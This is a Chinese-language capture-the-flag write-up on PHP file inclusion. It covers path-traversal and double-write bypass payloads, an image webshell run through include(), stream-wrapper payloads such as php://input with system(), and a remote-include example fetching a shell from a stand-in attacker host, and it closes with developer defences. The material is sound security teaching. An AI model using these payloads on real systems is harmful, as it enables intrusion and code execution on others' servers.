☰
杂记13 文件包含
2026/9/30 3:28:16 网站建设 项目流程

文件包含的本质只有一句话:代码把"用户填的路径"直接丢给了include(),而include()会把文件当代码执行。它和"文件读取"只差一个函数名,危害却差一个量级——读取是"看",包含是"执行",后者直接通向 RCE。

⚠️ 本文所有测试均在授权靶场中完成,仅用于安全学习与防御研究,请勿用于未授权目标。


〇、先看通关记录

关卡难度考点关键 Payload
文件包含(入门)1 级路径穿越 + LFI../../../../tmp/flag.txt
文件包含(过滤..)2 级黑名单绕过 · 双写变形....//....//....//....//tmp/flag.txt
文件包含 + 上传图片3 级文件上传 + 图片马 + 包含 = RCE上传shell.png→ 包含其返回的文件名
文件下载(入门)1 级任意文件下载(文件读取的变种)../../../../tmp/flag.txt

四关的终点是同一件事:读到/tmp/flag.txt。区别只在于"从哪条路进去、路上有没有拦路的"。


一、文件包含是什么

1.1 通俗版:一个过于听话的前台

把 Web 服务器想象成一家公司的前台。老板规定:每天上班第一件事,就是去文件柜拿一份《公司规章制度》(header.php),贴在墙上(执行)。

正常情况下,前台只去固定的柜子拿固定的文件。

直到有一天,一个陌生人(攻击者)递来一张纸条:"去/tmp/flag.txt,把那份文件也贴墙上。"

前台没有怀疑,也没有检查,老老实实走过去,把里面的内容当成规章制度一样贴了出去。

文件包含漏洞 = 服务器盲目信任了用户给的文件路径,并把它当代码执行了。

1.2 专业版:漏洞点在哪

PHP / JSP / ASP 里,为了代码复用,开发者常用include/require引入公共代码。危险代码如下:

<?php // 开发者想根据用户传入的 page 参数,包含不同的页面 $page = $_GET['page']; include($page); // 【漏洞点】直接包含用户输入,没有任何过滤! ?>
  • 本质:用户输入被直接拼接进include()/include_once()/require()/require_once(),且路径未做安全校验。

  • 危害:泄露源码与配置 → 读取系统敏感文件 → 配合上传 / 日志 / 伪协议执行代码(RCE)。

1.3 一张表分清三个"近亲"

这三个概念最容易混,记住一句话:下载和读取都只能"看",包含能"执行"。

漏洞类型核心操作危害典型代码
文件下载把文件内容下载到本地泄露源码、配置、敏感数据readfile($_GET['file'])
文件读取把文件内容回显在页面上泄露源码、配置、敏感数据file_get_contents($_GET['file'])
文件包含把文件当代码执行🔴直接 RCEinclude($_GET['file'])

📌判定的关键:被包含的文件里如果有<?php ... ?>,服务器会真的执行它。所以同一个"能读任意文件"的入口,用readfile()只是信息泄露,用include()就是命令执行。


二、两种类型:LFI 与 RFI

类型含义前提条件Payload 示例
LFI(本地文件包含)包含服务器本机的文件无特殊配置../../../../tmp/flag.txt、php://filter/...
RFI(远程文件包含)包含攻击者服务器上的文件PHP 需allow_url_include = On(现代版本默认关闭)http://attacker.com/shell.txt
  • LFI 是主战场:即使不能远程包含,也能靠"包含已上传的图片马""包含日志文件""包含 Session 文件"等方式拿到 RCE。

  • RFI 最简单粗暴:一旦开启,直接包含自己服务器上的 WebShell,一步到位。但因为太危险,现在几乎默认关闭。


三、实战复盘

3.1 1 级:最基础的路径穿越包含

页面表现:一个输入框,提示"包含已上传文件",旁边一个"包含文件"按钮——典型的文件包含入口。

推测后端逻辑(关键一步):

include("uploads/" . $_GET['file']);

后端强制拼了一个目录前缀uploads/。想跳到/tmp/,就必须用../一层层往上爬。

Payload:

../../../../tmp/flag.txt

实际执行效果:

include("uploads/../../../../tmp/flag.txt"); // 等价于 include("../../../../tmp/flag.txt") → 命中 /tmp/flag.txt

一击命中。这一关的核心就是路径穿越:../的数量不必精确,多写几层也无所谓,因为超过根目录后再往上仍然是/。

2 级里还有一关手法完全相同,只是靶场描述会明说"你需要会目录穿越"。同理不重复记录。

3.2 2 级:../被过滤时的双写绕过

这一关防护升级了,直接提交../../../../tmp/flag.txt会被拦。两次失败很有价值,先把失败原因搞清楚:

尝试方案Payload结果失败原因
PHP 伪协议php://filter/convert.base64-encode/resource=/tmp/flag.txt❌后端会拼上前缀uploads/,而伪协议必须出现在参数最开头才会被识别为流包装器;拼在中间就只是一个普通文件名
双重 URL 编码%252e%252e%252f...❌服务端没有做二次解码,%252e被原样当成文件名字符,路径不存在
双写变形....//....//....//....//tmp/flag.txt✅见下方原理

Payload:

....//....//....//....//tmp/flag.txt

为什么双写能绕过?(这里有个流传很广的错误说法要澄清)

很多现成笔记把原理写成"后端用了str_replace('.', '', ...),.被删掉,所以....//变成了../"。这是错的:

str_replace('.', '', '....//') → '//' ← 穿不出去

如果真是删掉所有.,....//只会剩下//,这一关根本过不去。既然它过了,说明——过滤器吃掉的不可能是单个.,而是../这个整体。反推出来的后端逻辑是:

$safe = str_replace('../', '', $_GET['file']); // 把 "../" 整组替换为空 include("uploads/" . $safe); 把 ....// 逐个字符拆开看: 输入: . . . . / / 索引: 0 1 2 3 4 5 str_replace 从左往右扫描,在索引 2 处发现一组完整的 ../(索引 2、3、4),把它整组删掉,剩下索引 0、1、5: 剩下: . . / → "../" 于是: 提交: ....//....//....//....//tmp/flag.txt 过滤后:../../../../tmp/flag.txt 最终: include("uploads/../../../../tmp/flag.txt") ✅ 穿越成功

⚠️易错点:. 被替换为空,所以....//变成../"这个说法流传极广,但它是错的。正确的理解是:**过滤器每次吃掉一整组../,双写就是"多写一组"去喂它**。 换句话说,双写变形针对的永远是"**过滤 + 只替换一次**"的逻辑。防守方只要把替换放进while` 循环里,这一招就废了。

3.3 3 级:图片马 + 文件包含 = RCE

页面表现:两个功能区——"选择文件上传"和"包含已上传文件"。

判定:这是上传 + 包含的组合漏洞场景。单独看,上传有白名单(只收图片);单独看,包含也没有可执行的文件。合起来才能打通。

第一步:做一个图片马
  1. 本地准备一张体积很小的真实图片,如1.png。

  2. 用文本编辑器(或 Hex 编辑器)打开,在文件最末尾追加:

<?php echo file_get_contents('/tmp/flag.txt'); ?>
  1. 另存为shell.png。

命令行更快(Windows):

copy /b 1.png + shell.php shell.png

/b表示按二进制处理、/a表示按文本处理。这里统一用/b,避免换行符转换破坏图片的二进制内容。

第二步:上传,并记住返回的文件名

上传shell.png,服务器返回一个重命名后的文件名(通常是随机 UUID):

06ee4056-53e1-41a6-b9a2-3c86990eee7a.png

这一步必须先拿到文件名,因为后面包含的就是它。

第三步:包含它,代码就执行了

在"包含已上传文件"里填上那个文件名,点击包含。服务器实际执行:

include("uploads/06ee4056-....png");

PHP 解析器会扫描整个文件内容,遇到<?php就开始解析执行——图片的二进制部分被当普通输出,末尾的 PHP 代码被真真切切地执行,成功读出 flag。

为什么图片马能过安检?
环节服务器怎么做攻击者怎么破
文件类型检测通常只看文件头魔数(\x89PNG、GIF89a)文件头是合法图片,天然通过
后缀白名单只允许.png/.jpg后缀本来就是.png
内容检测一般不检查全文恶意代码藏在文件末尾

📌图片马本身不会"响"。它只是一张图片——必须配合文件包含(或其他能把它当 PHP 解析的漏洞)才会被引爆。

组合技的一句话总结

上传负责把"炸弹"运进去,包含负责把"炸弹"引爆。没有上传,恶意文件运不进来;没有包含,图片永远只是图片。

3.4 附:1 级文件下载(文件读取的另一种表现形式)

同一专题里还有一关"文件下载",页面提示"输入文件名下载(示例:readme.txt)"。它的考点和读取完全一样,只是把"回显在页面"换成了"下载到本地"。

Payload:

../../../../tmp/flag.txt

后端逻辑与判定:

readfile("uploads/" . $_GET['file']);

代码审计时盯这几个关键词:

readfile($_GET['filename']); file_get_contents($_GET['filename']); header('Content-Disposition: attachment; filename="' . $_GET['filename'] . '"');

靶场描述里那句话说得非常准:"文件下载实际上就是文件读取的另一种表现形式"。两者都是"读",只有文件包含才是"执行"。


四、进阶利用姿势

4.1 PHP 伪协议速查表

协议作用Payload 示例前提
php://filter读源码(Base64 编码,绕过内容过滤)php://filter/convert.base64-encode/resource=index.php无
php://input执行 POST 体里的 PHP 代码php://input+ POST<?php system('ls'); ?>allow_url_include=On
data://执行内联的 Base64 代码data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+allow_url_include=On
zip://包含压缩包内的文件zip://shell.zip%23shell.php需先上传 zip
phar://包含 PHAR 归档内的文件phar://shell.phar/shell.php需先上传 phar

💡 两个容易踩的点: ①%23是#的 URL 编码,用来分隔"压缩包路径"和"包内文件路径"。 ②伪协议必须出现在参数最开头。如果后端是include("uploads/" . $input),伪协议会被拼到中间而失效——这正是 3.2 里第一次尝试失败的原因。

4.2 LFI → RCE 的三条经典路径

路径原理要点
包含日志把 PHP 代码写进User-Agent,Web 服务器会把它记进访问日志,再包含日志文件日志路径如/var/log/apache2/access.log、/var/log/nginx/access.log;前提是能读到日志
包含/proc/self/environ该文件是当前进程的环境变量快照,User-Agent在部分配置下会进到里面../../../../proc/self/environ,依赖配置,成功率不如日志包含
包含 Session 文件把 PHP 代码写进某个可控的 Session 值,再包含 Session 文件路径如/tmp/sess_<PHPSESSID>,需要知道自己的 Session ID

4.3 常见过滤与绕过对照

防御方式绕过方式示例
过滤../双写变形....//....//....//tmp/flag.txt
过滤..双写 / 编码变体....//、%2e%2e%2f
过滤php://大小写混淆PHP://filter/...(部分场景有效)
强制拼接目录路径穿越 / 绝对路径../../../../tmp/flag.txt
WAF 拦截关键字双重 URL 编码%252e%252e%252f...(前提是服务端会二次解码)

⚠️关于"通配符包含":网上常见../../../../tmp/flag*这类写法,在 PHP 的include()里通常不成立——通配符展开是 Shell 的能力,PHP 的文件函数不会做 glob 展开。可以当作思路记着,但别当常规手段,更别指望靠它稳过。


五、安全防御建议(开发者视角)

5.1 文件包含

  1. 白名单校验(首选):只允许包含预设列表里的文件(如header.php、footer.php),其余一律拒绝。

  2. 不给用户路径,只给 ID:用?page=1映射到具体文件,用户永远碰不到路径字符串。

  3. 路径规范化后再校验:用realpath()归一化,再确认是否落在允许目录内——注意要在归一化之后判断。

  4. 关闭危险配置:allow_url_include = Off、allow_url_fopen = Off。

  5. 黑名单要循环替换:非要用str_replace('../','',...),必须用while替换到不再变化,否则一个双写就废了。但黑名单永远只是补救,白名单才是解法。

  6. 权限最小化:Web 进程只给 Web 目录读权限,别让它能碰/etc/passwd、/tmp。

5.2 文件上传(组合攻击的另一半)

  1. 后缀白名单校验,并校验真实类型(不要只信Content-Type)。

  2. 二次渲染:用 GD / Imagick 重新生成图片,藏进末尾的代码会被直接抹掉。

  3. 上传目录禁止脚本执行:例如 Nginx 里不给/uploads/分配 PHP 处理器。

  4. 重命名为 UUID并去掉原始文件名,避免用户可控的路径拼接。

  5. 统一错误信息:别把拼接后的路径、过滤规则回显给用户——回显路径等于把后端逻辑送给攻击者。


六、总结

这一专题走完,真正带走的是三件事:

  1. 判定看函数:include/require是"执行",readfile/file_get_contents是"看"。一字之差,危害差一个量级。

  2. 穿越看前缀:../../../../不是背出来的,是"后端拼了uploads/,所以我要爬出去"推出来的。

  3. 绕过看逻辑:双写变形之所以有效,是因为过滤器"只替换一次"。先想清楚服务端怎么处理,再决定写什么 Payload——这比背一百个字典都管用。"

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询